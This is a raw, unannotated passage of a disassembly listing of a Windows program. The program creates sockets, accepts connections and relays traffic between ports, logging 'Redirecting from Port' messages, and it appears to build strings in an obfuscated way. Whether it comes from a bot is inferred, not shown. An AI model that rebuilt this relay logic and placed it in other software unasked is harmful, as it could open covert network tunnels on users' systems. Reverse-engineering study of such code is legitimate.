sub_42C0A0+52j push ecx push eax push 2 nop call near ptr 71AB3B91h test eax, eax mov [esi+32h], eax jnz short loc_42C0F4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0E8: ; CODE XREF: sub_42C0A0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42C0D0 ; --------------------------------------------------------------------------- loc_42C0F4: ; CODE XREF: sub_42C0A0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 call near ptr 71AB2B66h nop mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax call near ptr 71AB3E00h nop test eax, eax jz short loc_42C139 mov eax, [esi+32h] push eax nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C139: ; CODE XREF: sub_42C0A0+86j cmp word ptr [esi+6], 1 jnz short loc_42C161 mov ecx, [esi+32h] push 3 push ecx nop call near ptr 71AB88D3h test eax, eax jz short loc_42C161 mov edx, [esi+32h] push edx nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C161: ; CODE XREF: sub_42C0A0+9Ej ; sub_42C0A0+AEj mov al, 1 pop esi add esp, 10h retn sub_42C0A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C1B0 proc near ; CODE XREF: sub_401DD4j var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42C1B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42C24A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42C231 mov ebx, dword_511C98 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx mov esi, eax test esi, esi jnz short loc_42C216 loc_42C202: ; CODE XREF: sub_42C1B0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx mov esi, eax test esi, esi jz short loc_42C202 loc_42C216: ; CODE XREF: sub_42C1B0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al nop call near ptr 71AB9639h test bl, bl jnz short loc_42C26A loc_42C231: ; CODE XREF: sub_42C1B0+39j ; sub_42C1B0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42C244: ; DATA XREF: ___:00442FACo mov eax, offset loc_42C231 retn ; --------------------------------------------------------------------------- loc_42C24A: ; CODE XREF: sub_42C1B0+2Bj cmp ax, 2 jnz short loc_42C231 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx nop call near ptr 71AB9639h test bl, bl jz short loc_42C231 loc_42C26A: ; CODE XREF: sub_42C1B0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42C1B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C2C0: ; CODE XREF: ___:00401F96j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43CEB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax nop call near ptr 71AB9639h loc_42C309: ; DATA XREF: ___:loc_42C321o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42C321: ; DATA XREF: ___:0044300Co mov eax, offset loc_42C309 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C350 proc near ; CODE XREF: sub_401C2Bj var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42C350 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 call near ptr 71AB664Dh nop test eax, eax jz short loc_42C3C7 loc_42C387: ; CODE XREF: ___:0042C456j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42C3C7: ; CODE XREF: sub_42C350+35j push 42h call sub_437AEA sub_42C350 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42C3EC push 1 mov ecx, eax call sub_4014F1 jmp short loc_42C3EE ; --------------------------------------------------------------------------- loc_42C3EC: ; CODE XREF: ___:0042C3DFj xor eax, eax loc_42C3EE: ; CODE XREF: ___:0042C3EAj mov dword_5103B4, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_5103B4 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40202C lea eax, [esp+1C0h] push eax mov eax, dword_5103B4 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40202C mov eax, dword_5103B4 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F37 test al, al jz loc_42C387 loc_42C45C: ; CODE XREF: ___:0042C46Dj mov eax, dword_5103B4 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DD4 jmp short loc_42C45C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C4C0 proc near ; CODE XREF: sub_4014F1j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42C4E2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43F190 call sub_4014B5 loc_42C4E2: ; CODE XREF: sub_42C4C0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43F18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42C4C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C530 proc near ; CODE XREF: sub_4014B5j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C530 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_40142E lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C5C0 proc near ; CODE XREF: sub_4020EFj ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42C5C0 endp ; --------------------------------------------------------------------------- align 10h loc_42C5D0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43CF28 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401FA0 push offset off_444D6C lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43F1A0 call sub_4015E1 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C640 proc near ; CODE XREF: ___:00401398j sub_401F5Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42C658 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C658: ; CODE XREF: sub_42C640+Dj mov eax, esi pop esi retn 4 sub_42C640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C670 proc near ; CODE XREF: sub_4011BDj jmp sub_4017A8 sub_42C670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C690: ; CODE XREF: ___:loc_40134Dj mov eax, 1000h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42C71C mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C6BC: ; CODE XREF: ___:0042C71Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+18h] mov eax, [edx+0A1h] push ecx push eax call ebp test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42C6BC loc_42C71C: ; CODE XREF: ___:0042C6AEj ; ___:0042C6E5j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42C738 push eax nop call near ptr 71AB9639h loc_42C738: ; CODE XREF: ___:0042C72Fj add esp, 1000h retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C770 proc near ; CODE XREF: sub_40166Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_444D6C lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F1B0 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C770 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C7E0 proc near ; CODE XREF: ___:004013A7j sub_401B36j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42C7F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C7F8: ; CODE XREF: sub_42C7E0+Dj mov eax, esi pop esi retn 4 sub_42C7E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C810 proc near ; CODE XREF: sub_401217j jmp sub_4017A8 sub_42C810 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C830 proc near ; CODE XREF: sub_401537j var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42C9FA mov ebx, 1 push 6 push ebx push 2 nop call near ptr 71AB3B91h cmp eax, edi mov [esi+0A5h], eax jnz short loc_42C888 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C888: ; CODE XREF: sub_42C830+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx nop call near ptr 71AB2B66h lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42C8E2 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C8E2: ; CODE XREF: sub_42C830+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx nop call near ptr 71AB406Ah cmp eax, edi jnz short loc_42C912 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C912: ; CODE XREF: sub_42C830+C8j mov edx, [esi+0A1h] mov edi, dword_511CAC lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42C9FA mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C966: ; CODE XREF: sub_42C830+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C990 nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42C9F2 loc_42C990: ; CODE XREF: sub_42C830+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C9CB nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42C9F2 loc_42C9CB: ; CODE XREF: sub_42C830+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42C966 jmp short loc_42C9FA ; --------------------------------------------------------------------------- loc_42C9F2: ; CODE XREF: sub_42C830+15Ej ; sub_42C830+199j push 0Ah nop call near ptr 2831CE8h loc_42C9FA: ; CODE XREF: sub_42C830+27j ; sub_42C830+124j ... mov eax, [esi+0A1h] mov edi, dword_511C9C cmp eax, 0FFFFFFFFh jz short loc_42CA0E push eax call edi loc_42CA0E: ; CODE XREF: sub_42C830+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42CA1C push esi call edi loc_42CA1C: ; CODE XREF: sub_42C830+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42C830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 68h ; h db 0CFh ; db 43h ; C db 0 db 64h ; d db 0A1h ; db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; db 0F1h ; db 89h ; db 74h ; t db 24h ; $ db 4 db 0E8h ; db 0CEh ; db 54h ; T db 0FDh ; db 0FFh db 68h ; h db 6Ch ; l db 4Dh ; M db 44h ; D db 0 db 8Dh ; db 4Eh ; N db 11h db 0C7h ; db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; db 6 db 0C0h ; db 0F1h ; db 43h ; C db 0 db 0E8h ; db 0F4h ; db 4Ah ; J db 0FDh ; db 0FFh db 8Bh ; db 4Ch ; L db 24h ; $ db 8 db 8Bh ; db 0C6h ; db 5Eh ; ^ db 64h ; d db 89h ; db 0Dh db 0 db 0 db 0 db 0 db 83h ; db 0C4h ; db 10h db 0C3h ; db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CB20: ; CODE XREF: ___:loc_4015FAj ; ___:00401FC8j push esi mov esi, ecx call sub_401B9F test byte ptr [esp+8], 1 jz short loc_42CB38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42CB38: ; CODE XREF: ___:0042CB2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42CB50 proc near ; CODE XREF: sub_401B9Fj jmp sub_4017A8 sub_42CB50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CB70 proc near ; CODE XREF: sub_4019F1j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42CB70 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017EE mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017EE push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014DD mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 24h push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42CDA8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx nop call near ptr 71AB2B66h mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42CC5B mov edx, [esi+9Dh] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42CC5B: ; CODE XREF: sub_42CB70+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42CD54 loc_42CC6F: ; CODE XREF: sub_42CB70+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz loc_42CD35 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx call near ptr 71AC1028h nop mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42CD35 xor edi, edi cmp ebp, edi jz loc_42CD35 push 0A9h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42CCD5 mov ecx, eax call sub_40166D mov edi, eax loc_42CCD5: ; CODE XREF: sub_42CB70+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FDC lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FDC mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013DE loc_42CD35: ; CODE XREF: sub_42CB70+111j ; sub_42CB70+133j ... push 0FAh call near ptr 2831CE8h nop mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42CC6F loc_42CD54: ; CODE XREF: sub_42CB70+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42CD66 push eax nop call near ptr 71AB9639h loc_42CD66: ; CODE XREF: sub_42CB70+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017EE push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 24h loc_42CDA8: ; CODE XREF: sub_42CB70+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42CB70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42CE60 proc near ; CODE XREF: sub_402202j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42CE60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019C4 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_42CE60 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019C4 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019C4 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019C4 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 0EAh push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D150: ; CODE XREF: ___:loc_40204Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43D0A4 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42D2B7 push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh dd 7EED1BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h dd 4C8DFFFDh, 9C894824h, 8024h, 3FDCE800h, 68FFFDh, 8D004446h dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD3F9Ah dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 27E80000h db 41h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42D2B7: ; CODE XREF: ___:0042D18Dj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D3E7 push 9Dh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42D2FE mov ecx, eax call sub_401898 mov edi, eax jmp short loc_42D300 ; --------------------------------------------------------------------------- loc_42D2FE: ; CODE XREF: ___:0042D2F1j xor edi, edi loc_42D300: ; CODE XREF: ___:0042D2FCj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D3E7: ; CODE XREF: ___:0042D2CAj lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D510 push 0A2h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42D42E mov ecx, eax call sub_4018ED mov edi, eax jmp short loc_42D430 ; --------------------------------------------------------------------------- loc_42D42E: ; CODE XREF: ___:0042D421j xor edi, edi loc_42D430: ; CODE XREF: ___:0042D42Cj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_40150A test eax, eax lea ecx, [esp+48h] mov [esp+80h], 